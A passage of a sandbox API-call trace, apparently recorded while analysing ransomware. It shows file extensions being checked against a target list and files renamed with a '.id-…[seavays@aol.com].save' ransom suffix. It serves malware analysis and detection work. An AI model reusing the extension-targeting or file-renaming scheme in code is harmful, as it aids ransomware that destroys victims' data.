(lpString1=".cf", lpString2="ave") returned -1 [0158.664] lstrlenW (lpString=".cfc") returned 4 [0158.664] lstrcmpiW (lpString1=".cfc", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".cfm") returned 4 [0158.664] lstrcmpiW (lpString1=".cfm", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".cfml") returned 5 [0158.664] lstrcmpiW (lpString1=".cfml", lpString2=".save") returned -1 [0158.664] lstrlenW (lpString=".cfu") returned 4 [0158.664] lstrcmpiW (lpString1=".cfu", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".chm") returned 4 [0158.664] lstrcmpiW (lpString1=".chm", lpString2="save") returned -1 [0158.664] lstrlenW (lpString=".cin") returned 4 [0158.665] lstrcmpiW (lpString1=".cin", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".class") returned 6 [0158.665] lstrcmpiW (lpString1=".class", lpString2="].save") returned -1 [0158.665] lstrlenW (lpString=".clx") returned 4 [0158.665] lstrcmpiW (lpString1=".clx", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".config") returned 7 [0158.665] lstrcmpiW (lpString1=".config", lpString2="m].save") returned -1 [0158.665] lstrlenW (lpString=".cpp") returned 4 [0158.665] lstrcmpiW (lpString1=".cpp", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".cr2") returned 4 [0158.665] lstrcmpiW (lpString1=".cr2", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".crt") returned 4 [0158.665] lstrcmpiW (lpString1=".crt", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".crw") returned 4 [0158.665] lstrcmpiW (lpString1=".crw", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".cs") returned 3 [0158.665] lstrcmpiW (lpString1=".cs", lpString2="ave") returned -1 [0158.665] lstrlenW (lpString=".css") returned 4 [0158.665] lstrcmpiW (lpString1=".css", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".csv") returned 4 [0158.665] lstrcmpiW (lpString1=".csv", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".cub") returned 4 [0158.665] lstrcmpiW (lpString1=".cub", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".dae") returned 4 [0158.665] lstrcmpiW (lpString1=".dae", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".dat") returned 4 [0158.665] lstrcmpiW (lpString1=".dat", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".db") returned 3 [0158.665] lstrcmpiW (lpString1=".db", lpString2="ave") returned -1 [0158.665] lstrlenW (lpString=".dbf") returned 4 [0158.665] lstrcmpiW (lpString1=".dbf", lpString2="save") returned -1 [0158.665] lstrlenW (lpString=".dbx") returned 4 [0158.665] lstrcmpiW (lpString1=".dbx", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".dc3") returned 4 [0158.666] lstrcmpiW (lpString1=".dc3", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".dcm") returned 4 [0158.666] lstrcmpiW (lpString1=".dcm", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".dcr") returned 4 [0158.666] lstrcmpiW (lpString1=".dcr", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".der") returned 4 [0158.666] lstrcmpiW (lpString1=".der", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".dib") returned 4 [0158.666] lstrcmpiW (lpString1=".dib", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".dic") returned 4 [0158.666] lstrcmpiW (lpString1=".dic", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".dif") returned 4 [0158.666] lstrcmpiW (lpString1=".dif", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".divx") returned 5 [0158.666] lstrcmpiW (lpString1=".divx", lpString2=".save") returned -1 [0158.666] lstrlenW (lpString=".djvu") returned 5 [0158.666] lstrcmpiW (lpString1=".djvu", lpString2=".save") returned -1 [0158.666] lstrlenW (lpString=".dng") returned 4 [0158.666] lstrcmpiW (lpString1=".dng", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".doc") returned 4 [0158.666] lstrcmpiW (lpString1=".doc", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".docm") returned 5 [0158.666] lstrcmpiW (lpString1=".docm", lpString2=".save") returned -1 [0158.666] lstrlenW (lpString=".docx") returned 5 [0158.666] lstrcmpiW (lpString1=".docx", lpString2=".save") returned -1 [0158.666] lstrlenW (lpString=".dot") returned 4 [0158.666] lstrcmpiW (lpString1=".dot", lpString2="save") returned -1 [0158.666] lstrlenW (lpString=".dotm") returned 5 [0158.666] lstrcmpiW (lpString1=".dotm", lpString2=".save") returned -1 [0158.666] lstrlenW (lpString=".dotx") returned 5 [0158.666] lstrcmpiW (lpString1=".dotx", lpString2=".save") returned -1 [0158.667] lstrlenW (lpString=".dpx") returned 4 [0158.667] lstrcmpiW (lpString1=".dpx", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".dqy") returned 4 [0158.667] lstrcmpiW (lpString1=".dqy", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".dsn") returned 4 [0158.667] lstrcmpiW (lpString1=".dsn", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".dt") returned 3 [0158.667] lstrcmpiW (lpString1=".dt", lpString2="ave") returned -1 [0158.667] lstrlenW (lpString=".dtd") returned 4 [0158.667] lstrcmpiW (lpString1=".dtd", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".dwg") returned 4 [0158.667] lstrcmpiW (lpString1=".dwg", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".dwt") returned 4 [0158.667] lstrcmpiW (lpString1=".dwt", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".dx") returned 3 [0158.667] lstrcmpiW (lpString1=".dx", lpString2="ave") returned -1 [0158.667] lstrlenW (lpString=".dxf") returned 4 [0158.667] lstrcmpiW (lpString1=".dxf", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".edml") returned 5 [0158.667] lstrcmpiW (lpString1=".edml", lpString2=".save") returned -1 [0158.667] lstrlenW (lpString=".efd") returned 4 [0158.667] lstrcmpiW (lpString1=".efd", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".elf") returned 4 [0158.667] lstrcmpiW (lpString1=".elf", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".emf") returned 4 [0158.667] lstrcmpiW (lpString1=".emf", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".emz") returned 4 [0158.667] lstrcmpiW (lpString1=".emz", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".epf") returned 4 [0158.667] lstrcmpiW (lpString1=".epf", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".eps") returned 4 [0158.667] lstrcmpiW (lpString1=".eps", lpString2="save") returned -1 [0158.667] lstrlenW (lpString=".epsf") returned 5 [0158.667] lstrcmpiW (lpString1=".epsf", lpString2=".save") returned -1 [0158.668] lstrlenW (lpString=".epsp") returned 5 [0158.668] lstrcmpiW (lpString1=".epsp", lpString2=".save") returned -1 [0158.668] lstrlenW (lpString=".erf") returned 4 [0158.668] lstrcmpiW (lpString1=".erf", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".exr") returned 4 [0158.668] lstrcmpiW (lpString1=".exr", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".f4v") returned 4 [0158.668] lstrcmpiW (lpString1=".f4v", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".fido") returned 5 [0158.668] lstrcmpiW (lpString1=".fido", lpString2=".save") returned -1 [0158.668] lstrlenW (lpString=".flm") returned 4 [0158.668] lstrcmpiW (lpString1=".flm", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".flv") returned 4 [0158.668] lstrcmpiW (lpString1=".flv", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".frm") returned 4 [0158.668] lstrcmpiW (lpString1=".frm", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".fxg") returned 4 [0158.668] lstrcmpiW (lpString1=".fxg", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".geo") returned 4 [0158.668] lstrcmpiW (lpString1=".geo", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".gif") returned 4 [0158.668] lstrcmpiW (lpString1=".gif", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".grs") returned 4 [0158.668] lstrcmpiW (lpString1=".grs", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".gz") returned 3 [0158.668] lstrcmpiW (lpString1=".gz", lpString2="ave") returned -1 [0158.668] lstrlenW (lpString=".h") returned 2 [0158.668] lstrcmpiW (lpString1=".h", lpString2="ve") returned -1 [0158.668] lstrlenW (lpString=".hdr") returned 4 [0158.668] lstrcmpiW (lpString1=".hdr", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".hpp") returned 4 [0158.668] lstrcmpiW (lpString1=".hpp", lpString2="save") returned -1 [0158.668] lstrlenW (lpString=".hta") returned 4 [0158.669] lstrcmpiW (lpString1=".hta", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".htc") returned 4 [0158.669] lstrcmpiW (lpString1=".htc", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".htm") returned 4 [0158.669] lstrcmpiW (lpString1=".htm", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".html") returned 5 [0158.669] lstrcmpiW (lpString1=".html", lpString2=".save") returned -1 [0158.669] lstrlenW (lpString=".icb") returned 4 [0158.669] lstrcmpiW (lpString1=".icb", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".ics") returned 4 [0158.669] lstrcmpiW (lpString1=".ics", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".iff") returned 4 [0158.669] lstrcmpiW (lpString1=".iff", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".inc") returned 4 [0158.669] lstrcmpiW (lpString1=".inc", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".indd") returned 5 [0158.669] lstrcmpiW (lpString1=".indd", lpString2=".save") returned -1 [0158.669] lstrlenW (lpString=".ini") returned 4 [0158.669] lstrcmpiW (lpString1=".ini", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".iqy") returned 4 [0158.669] lstrcmpiW (lpString1=".iqy", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".j2c") returned 4 [0158.669] lstrcmpiW (lpString1=".j2c", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".j2k") returned 4 [0158.669] lstrcmpiW (lpString1=".j2k", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".java") returned 5 [0158.669] lstrcmpiW (lpString1=".java", lpString2=".save") returned -1 [0158.669] lstrlenW (lpString=".jp2") returned 4 [0158.669] lstrcmpiW (lpString1=".jp2", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".jpc") returned 4 [0158.669] lstrcmpiW (lpString1=".jpc", lpString2="save") returned -1 [0158.669] lstrlenW (lpString=".jpe") returned 4 [0158.670] lstrcmpiW (lpString1=".jpe", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".jpeg") returned 5 [0158.670] lstrcmpiW (lpString1=".jpeg", lpString2=".save") returned -1 [0158.670] lstrlenW (lpString=".jpf") returned 4 [0158.670] lstrcmpiW (lpString1=".jpf", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".jpg") returned 4 [0158.670] lstrcmpiW (lpString1=".jpg", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".jpx") returned 4 [0158.670] lstrcmpiW (lpString1=".jpx", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".js") returned 3 [0158.670] lstrcmpiW (lpString1=".js", lpString2="ave") returned -1 [0158.670] lstrlenW (lpString=".jsf") returned 4 [0158.670] lstrcmpiW (lpString1=".jsf", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".json") returned 5 [0158.670] lstrcmpiW (lpString1=".json", lpString2=".save") returned -1 [0158.670] lstrlenW (lpString=".jsp") returned 4 [0158.670] lstrcmpiW (lpString1=".jsp", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".kdc") returned 4 [0158.670] lstrcmpiW (lpString1=".kdc", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".kmz") returned 4 [0158.670] lstrcmpiW (lpString1=".kmz", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".kwm") returned 4 [0158.670] lstrcmpiW (lpString1=".kwm", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".lasso") returned 6 [0158.670] lstrcmpiW (lpString1=".lasso", lpString2="].save") returned -1 [0158.670] lstrlenW (lpString=".lbi") returned 4 [0158.670] lstrcmpiW (lpString1=".lbi", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".lgf") returned 4 [0158.670] lstrcmpiW (lpString1=".lgf", lpString2="save") returned -1 [0158.670] lstrlenW (lpString=".lgp") returned 4 [0158.670] lstrcmpiW (lpString1=".lgp", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".log") returned 4 [0158.671] lstrcmpiW (lpString1=".log", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".m1v") returned 4 [0158.671] lstrcmpiW (lpString1=".m1v", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".m4a") returned 4 [0158.671] lstrcmpiW (lpString1=".m4a", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".m4v") returned 4 [0158.671] lstrcmpiW (lpString1=".m4v", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".max") returned 4 [0158.671] lstrcmpiW (lpString1=".max", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".md") returned 3 [0158.671] lstrcmpiW (lpString1=".md", lpString2="ave") returned -1 [0158.671] lstrlenW (lpString=".mda") returned 4 [0158.671] lstrcmpiW (lpString1=".mda", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".mdb") returned 4 [0158.671] lstrcmpiW (lpString1=".mdb", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".mde") returned 4 [0158.671] lstrcmpiW (lpString1=".mde", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".mdf") returned 4 [0158.671] lstrcmpiW (lpString1=".mdf", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".mdw") returned 4 [0158.671] lstrcmpiW (lpString1=".mdw", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".mef") returned 4 [0158.671] lstrcmpiW (lpString1=".mef", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".mft") returned 4 [0158.671] lstrcmpiW (lpString1=".mft", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".mfw") returned 4 [0158.671] lstrcmpiW (lpString1=".mfw", lpString2="save") returned -1 [0158.671] lstrlenW (lpString=".mht") returned 4 [0158.671] lstrcmpiW (lpString1=".mht", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".mhtml") returned 6 [0158.672] lstrcmpiW (lpString1=".mhtml", lpString2="].save") returned -1 [0158.672] lstrlenW (lpString=".mka") returned 4 [0158.672] lstrcmpiW (lpString1=".mka", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".mkidx") returned 6 [0158.672] lstrcmpiW (lpString1=".mkidx", lpString2="].save") returned -1 [0158.672] lstrlenW (lpString=".mkv") returned 4 [0158.672] lstrcmpiW (lpString1=".mkv", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".mos") returned 4 [0158.672] lstrcmpiW (lpString1=".mos", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".mov") returned 4 [0158.672] lstrcmpiW (lpString1=".mov", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".mp3") returned 4 [0158.672] lstrcmpiW (lpString1=".mp3", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".mp4") returned 4 [0158.672] lstrcmpiW (lpString1=".mp4", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".mpeg") returned 5 [0158.672] lstrcmpiW (lpString1=".mpeg", lpString2=".save") returned -1 [0158.672] lstrlenW (lpString=".mpg") returned 4 [0158.672] lstrcmpiW (lpString1=".mpg", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".mpv") returned 4 [0158.672] lstrcmpiW (lpString1=".mpv", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".mrw") returned 4 [0158.672] lstrcmpiW (lpString1=".mrw", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".msg") returned 4 [0158.672] lstrcmpiW (lpString1=".msg", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".mxl") returned 4 [0158.672] lstrcmpiW (lpString1=".mxl", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".myd") returned 4 [0158.672] lstrcmpiW (lpString1=".myd", lpString2="save") returned -1 [0158.672] lstrlenW (lpString=".myi") returned 4 [0158.673] lstrcmpiW (lpString1=".myi", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".nef") returned 4 [0158.673] lstrcmpiW (lpString1=".nef", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".nrw") returned 4 [0158.673] lstrcmpiW (lpString1=".nrw", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".obj") returned 4 [0158.673] lstrcmpiW (lpString1=".obj", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".odb") returned 4 [0158.673] lstrcmpiW (lpString1=".odb", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".odc") returned 4 [0158.673] lstrcmpiW (lpString1=".odc", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".odm") returned 4 [0158.673] lstrcmpiW (lpString1=".odm", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".odp") returned 4 [0158.673] lstrcmpiW (lpString1=".odp", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".ods") returned 4 [0158.673] lstrcmpiW (lpString1=".ods", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".oft") returned 4 [0158.673] lstrcmpiW (lpString1=".oft", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".one") returned 4 [0158.673] lstrcmpiW (lpString1=".one", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".onepkg") returned 7 [0158.673] lstrcmpiW (lpString1=".onepkg", lpString2="m].save") returned -1 [0158.673] lstrlenW (lpString=".onetoc2") returned 8 [0158.673] lstrcmpiW (lpString1=".onetoc2", lpString2="om].save") returned -1 [0158.673] lstrlenW (lpString=".opt") returned 4 [0158.673] lstrcmpiW (lpString1=".opt", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".oqy") returned 4 [0158.673] lstrcmpiW (lpString1=".oqy", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".orf") returned 4 [0158.673] lstrcmpiW (lpString1=".orf", lpString2="save") returned -1 [0158.673] lstrlenW (lpString=".p12") returned 4 [0158.674] lstrcmpiW (lpString1=".p12", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".p7b") returned 4 [0158.674] lstrcmpiW (lpString1=".p7b", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".p7c") returned 4 [0158.674] lstrcmpiW (lpString1=".p7c", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pam") returned 4 [0158.674] lstrcmpiW (lpString1=".pam", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pbm") returned 4 [0158.674] lstrcmpiW (lpString1=".pbm", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pct") returned 4 [0158.674] lstrcmpiW (lpString1=".pct", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pcx") returned 4 [0158.674] lstrcmpiW (lpString1=".pcx", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pdd") returned 4 [0158.674] lstrcmpiW (lpString1=".pdd", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pdf") returned 4 [0158.674] lstrcmpiW (lpString1=".pdf", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pdp") returned 4 [0158.674] lstrcmpiW (lpString1=".pdp", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pef") returned 4 [0158.674] lstrcmpiW (lpString1=".pef", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pem") returned 4 [0158.674] lstrcmpiW (lpString1=".pem", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pff") returned 4 [0158.674] lstrcmpiW (lpString1=".pff", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pfm") returned 4 [0158.674] lstrcmpiW (lpString1=".pfm", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pfx") returned 4 [0158.674] lstrcmpiW (lpString1=".pfx", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".pgm") returned 4 [0158.674] lstrcmpiW (lpString1=".pgm", lpString2="save") returned -1 [0158.674] lstrlenW (lpString=".php") returned 4 [0158.675] lstrcmpiW (lpString1=".php", lpString2="save") returned -1 [0158.675] lstrlenW (lpString=".php3") returned 5 [0158.675] lstrcmpiW (lpString1=".php3", lpString2=".save") returned -1 [0158.675] lstrlenW (lpString=".php4") returned 5 [0158.675] lstrcmpiW (lpString1=".php4", lpString2=".save") returned -1 [0158.675] lstrlenW (lpString=".php5") returned 5 [0158.675] lstrcmpiW (lpString1=".php5", lpString2=".save") returned -1 [0158.675] lstrlenW (lpString=".phtml") returned 6 [0158.675] lstrcmpiW (lpString1=".phtml", lpString2="].save") returned -1 [0158.675] lstrlenW (lpString=".pict") returned 5 [0158.675] lstrcmpiW (lpString1=".pict", lpString2=".save") returned -1 [0158.676] lstrlenW (lpString=".pl") returned 3 [0158.676] lstrcmpiW (lpString1=".pl", lpString2="ave") returned -1 [0158.676] lstrlenW (lpString=".pls") returned 4 [0158.676] lstrcmpiW (lpString1=".pls", lpString2="save") returned -1 [0158.676] lstrlenW (lpString=".pm") returned 3 [0158.676] lstrcmpiW (lpString1=".pm", lpString2="ave") returned -1 [0158.676] lstrlenW (lpString=".png") returned 4 [0158.676] lstrcmpiW (lpString1=".png", lpString2="save") returned -1 [0158.676] lstrlenW (lpString=".pnm") returned 4 [0158.676] lstrcmpiW (lpString1=".pnm", lpString2="save") returned -1 [0158.676] lstrlenW (lpString=".pot") returned 4 [0158.676] lstrcmpiW (lpString1=".pot", lpString2="save") returned -1 [0158.676] lstrlenW (lpString=".potm") returned 5 [0158.676] lstrcmpiW (lpString1=".potm", lpString2=".save") returned -1 [0158.676] lstrlenW (lpString=".potx") returned 5 [0158.676] lstrcmpiW (lpString1=".potx", lpString2=".save") returned -1 [0158.676] lstrlenW (lpString=".ppa") returned 4 [0158.676] lstrcmpiW (lpString1=".ppa", lpString2="save") returned -1 [0158.676] lstrlenW (lpString=".ppam") returned 5 [0158.676] lstrcmpiW (lpString1=".ppam", lpString2=".save") returned -1 [0158.676] lstrlenW (lpString=".ppm") returned 4 [0158.676] lstrcmpiW (lpString1=".ppm", lpString2="save") returned -1 [0158.676] lstrlenW (lpString=".pps") returned 4 [0158.676] lstrcmpiW (lpString1=".pps", lpString2="save") returned -1 [0158.676] lstrlenW (lpString=".ppsm") returned 5 [0158.676] lstrcmpiW (lpString1=".ppsm", lpString2=".save") returned -1 [0158.676] lstrlenW (lpString=".ppt") returned 4 [0158.677] lstrcmpiW (lpString1=".ppt", lpString2="save") returned -1 [0158.677] lstrlenW (lpString=".pptm") returned 5 [0158.677] lstrcmpiW (lpString1=".pptm", lpString2=".save") returned -1 [0158.677] lstrlenW (lpString=".pptx") returned 5 [0158.677] lstrcmpiW (lpString1=".pptx", lpString2=".save") returned -1 [0158.677] lstrlenW (lpString=".prn") returned 4 [0158.677] lstrcmpiW (lpString1=".prn", lpString2="save") returned -1 [0158.677] lstrlenW (lpString=".ps") returned 3 [0158.677] lstrcmpiW (lpString1=".ps", lpString2="ave") returned -1 [0158.677] lstrlenW (lpString=".psb") returned 4 [0158.677] lstrcmpiW (lpString1=".psb", lpString2="save") returned -1 [0158.677] lstrlenW (lpString=".psd") returned 4 [0158.677] lstrcmpiW (lpString1=".psd", lpString2="save") returned -1 [0158.677] lstrlenW (lpString=".pst") returned 4 [0158.677] lstrcmpiW (lpString1=".pst", lpString2="save") returned -1 [0158.677] lstrlenW (lpString=".ptx") returned 4 [0158.677] lstrcmpiW (lpString1=".ptx", lpString2="save") returned -1 [0158.677] lstrlenW (lpString=".pub") returned 4 [0158.677] lstrcmpiW (lpString1=".pub", lpString2="save") returned -1 [0158.677] lstrlenW (lpString=".pwm") returned 4 [0158.677] lstrcmpiW (lpString1=".pwm", lpString2="save") returned -1 [0158.677] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed6c16, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6ed6c16, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6ed6c16, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="OOBE_2~1.SAV")) returned 1 [0158.677] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efcda1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6efcda1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f230d1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 1 [0158.677] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efcda1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6efcda1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f230d1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 0 [0158.678] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0158.678] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4521060 | out: hHeap=0x710000) returned 1 [0158.678] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x40bfa7c | out: lpFindFileData=0x40bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0158.678] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4521060 [0158.679] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0158.679] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1 [0158.679] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9582c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f9582c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6fbba69, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xfffff70b, dwReserved1=0x3f1, cFileName="GetCurrentOOBE.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="GETCUR~2.SAV")) returned 1 [0158.680] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5159d, ftCreationTime.dwHighDateTime=0x1d5359b, 